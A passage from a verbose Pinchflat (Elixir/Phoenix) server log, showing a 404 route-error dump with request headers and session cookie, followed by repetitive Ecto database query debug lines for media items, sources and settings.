"*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139249.0>, params: %{}, path_info: ["sources", "30", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/30/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0i7x2mm0HrYAAB8o"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139240.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/sync_files_on_disk", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48192}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139240.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/sync_files_on_disk", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48192}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, (truncated) 04:53:46.905 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=13.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140639] 04:53:46.906 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=13.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7229] 04:53:46.906 [info] GET /sources/31/media/140859/edit 04:53:46.907 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "140859", "source_id" => "31"} Pipelines: [:browser] 04:53:46.907 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.907 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.909 [debug] QUERY OK source="settings" db=1.7ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.909 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=2.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140859] 04:53:46.912 [debug] QUERY OK source="settings" db=1.0ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.912 [debug] QUERY OK source="settings" db=3.5ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.912 [debug] QUERY OK source="settings" db=1.0ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.914 [debug] QUERY OK source="settings" db=0.7ms queue=1.2ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.915 [debug] QUERY OK source="settings" db=1.8ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.916 [info] Sent 200 in 12ms 04:53:46.916 [debug] QUERY OK source="settings" db=0.5ms queue=0.9ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.918 [debug] QUERY OK source="media_profiles" db=0.9ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:46.921 [info] Sent 200 in 14ms 04:53:46.924 [info] Sent 200 in 23ms 04:53:47.044 [info] GET /sources/31/media/140639 04:53:47.045 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "140639", "source_id" => "31"} Pipelines: [:browser] 04:53:47.047 [info] GET /sources/31/media/140207 04:53:47.047 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "140207", "source_id" => "31"} Pipelines: [:browser] 04:53:47.047 [debug] QUERY OK source="media_items" db=1.3ms idle=133.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140639] 04:53:47.048 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=133.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140207] 04:53:47.049 [debug] QUERY OK source="tasks" db=0.4ms idle=133.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [140639] 04:53:47.049 [debug] QUERY OK source="sources" db=0.6ms idle=131.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:47.050 [debug] QUERY OK source="tasks" db=0.8ms idle=131.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [140207] 04:53:47.052 [debug] QUERY OK source="oban_jobs" db=1.8ms idle=1.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7212] 04:53:47.052 [debug] QUERY OK source="sources" db=2.4ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:47.053 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.054 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=3.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7193] 04:53:47.054 [debug] QUERY OK source="settings" db=1.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.056 [debug] QUERY OK source="settings" db=1.6ms queue=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.057 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.058 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.059 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.060 [debug] QUERY OK source="media_profiles" db=1.5ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:47.062 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:47.067 [info] Sent 200 in 22ms 04:53:47.068 [info] Sent 200 in 21ms 04:53:47.071 [info] GET /sources/31/media/140207/edit 04:53:47.071 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "140207", "source_id" => "31"} Pipelines: [:browser] 04:53:47.073 [debug] QUERY OK source="media_items" db=0.6ms idle=15.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140207] 04:53:47.074 [debug] QUERY OK source="settings" db=0.2ms idle=15.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.075 [debug] QUERY OK source="settings" db=0.6ms idle=14.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.077 [debug] QUERY OK source="settings" db=0.2ms idle=16.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.080 [info] Sent 200 in 8ms 04:53:47.260 [info] GET /sources/31/media/139990 04:53:47.261 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "139990", "source_id" => "31"} Pipelines: [:browser] 04:53:47.261 [info] GET /sources/31/media/139990/edit 04:53:47.262 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "139990", "source_id" => "31"} Pipelines: [:browser] 04:53:47.262 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=199.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139990] 04:53:47.263 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=189.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139990] 04:53:47.264 [debug] QUERY OK source="tasks" db=0.8ms queue=0.2ms idle=189.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [139990] 04:53:47.265 [debug] QUERY OK source="settings" db=1.4ms idle=187.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.266 [debug] QUERY OK source="sources" db=2.1ms queue=0.1ms idle=188.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:47.267 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.267 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=3.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7176] 04:53:47.269 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.269 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.271 [debug] QUERY OK source="settings" db=1.4ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.273 [debug] QUERY OK source="settings" db=0.3ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.273 [info] Sent 200 in 12ms 04:53:47.275 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", 